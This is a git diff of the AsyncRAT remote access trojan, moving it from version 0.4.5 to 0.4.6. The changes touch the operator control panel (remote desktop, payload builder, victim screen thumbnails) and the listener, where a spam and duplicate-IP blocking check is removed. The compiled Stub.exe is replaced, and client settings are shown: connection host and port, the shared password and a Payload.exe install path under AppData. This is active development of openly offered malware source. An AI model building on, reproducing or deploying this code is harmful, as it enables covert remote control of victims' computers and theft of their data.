diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 58cf9c6..ab95faa 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -78,7 +78,7 @@ namespace AsyncRAT_Sharp await Methods.FadeIn(this, 5); trans = true; - Connect(); + await Task.Run(() => Connect()); } private void Connect() @@ -109,7 +109,6 @@ namespace AsyncRAT_Sharp Environment.Exit(0); } - private void listView1_KeyDown(object sender, KeyEventArgs e) { if (listView1.Items.Count > 0) @@ -118,7 +117,6 @@ namespace AsyncRAT_Sharp x.Selected = true; } - private void listView1_MouseMove(object sender, MouseEventArgs e) { if (listView1.Items.Count > 1) @@ -129,7 +127,6 @@ namespace AsyncRAT_Sharp } } - private void ping_Tick(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) @@ -142,9 +139,9 @@ namespace AsyncRAT_Sharp } } - private void UpdateUI_Tick(object sender, EventArgs e) { + Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}"; toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; } @@ -334,7 +331,6 @@ namespace AsyncRAT_Sharp private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) { - if (listView1.SelectedItems.Count > 0) { try @@ -413,7 +409,7 @@ namespace AsyncRAT_Sharp private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e) { - using( FormBuilder formBuilder = new FormBuilder()) + using (FormBuilder formBuilder = new FormBuilder()) { formBuilder.ShowDialog(); } @@ -586,7 +582,10 @@ namespace AsyncRAT_Sharp private static System.Threading.Timer Tick { get; set; } private void STARTToolStripMenuItem_Click(object sender, EventArgs e) { - Tick = new System.Threading.Timer(new TimerCallback(GetThumbnails), null, 2500, 5000); + if (Tick != null && listView1.Items.Count > 0) + { + Tick = new System.Threading.Timer(new TimerCallback(GetThumbnails), null, 2500, 5000); + } } private void GetThumbnails(object obj) { @@ -638,4 +637,4 @@ namespace AsyncRAT_Sharp Properties.Settings.Default.Save(); } } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs index b571bc5..b8a217e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs @@ -28,7 +28,7 @@ namespace AsyncRAT_Sharp.Handle_Packet client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; - Program.form1.listView1.Items.Insert(0, client.LV); + Program.form1.listView1.Items.Add(client.LV); Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); if (Properties.Settings.Default.Notification == true) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index 3045682..4f3401c 100644 Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 5a4778e..7186c31 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp public static string Password { get; set; } public static Aes256 AES{ get; set; } - public static readonly string Version = "AsyncRAT 0.4.5"; + public static readonly string Version = "AsyncRAT 0.4.6"; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 85372f7..602f0da 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -95,7 +95,6 @@ namespace AsyncRAT_Sharp.Sockets public void Disconnected() { - try { if (LV != null) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 0980860..3bc2961 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -4,7 +4,6 @@ using System; using System.Windows.Forms; using System.Drawing; using AsyncRAT_Sharp.Handle_Packet; -using System.Linq; namespace AsyncRAT_Sharp.Sockets { @@ -40,64 +39,12 @@ namespace AsyncRAT_Sharp.Sockets { try { - Socket socket = Server.EndAccept(ar); - if (IsDublicated(socket)) - { - socket.Dispose(); - } - else - { - new Clients(socket); - } + new Clients(Server.EndAccept(ar)); } finally { Server.BeginAccept(EndAccept, null); } } - - private bool IsDublicated(Socket socket) - { - try - { - if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0])) - { - return true; - } - - int count = 0; - foreach (Clients client in Settings.Online.ToList()) - { - if (client.LV != null) - { - if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0]) - count++; - } - } - - if (count > 3) - { - Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]); - new HandleLogs().Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red); - foreach (Clients client in Settings.Online.ToList()) - { - if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0] && client.LV != null) - { - try - { - client.Disconnected(); - } - catch { } - } - } - return true; - } - return false; - } - catch - { - return false; - } - } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index c2bde59..73eeae3 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -8,7 +8,7 @@ namespace Client { public static readonly string Ports = "6606"; public static readonly string Host = "127.0.0.1"; - public static readonly string Version = "AsyncRAT 0.4.5"; + public static readonly string Version = "AsyncRAT 0.4.6"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static readonly string Password = "NYAN CAT"; diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 265a61c..c84c7cf 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -219,4 +219,4 @@ namespace Client.Sockets } } } -} +} \ No newline at end of file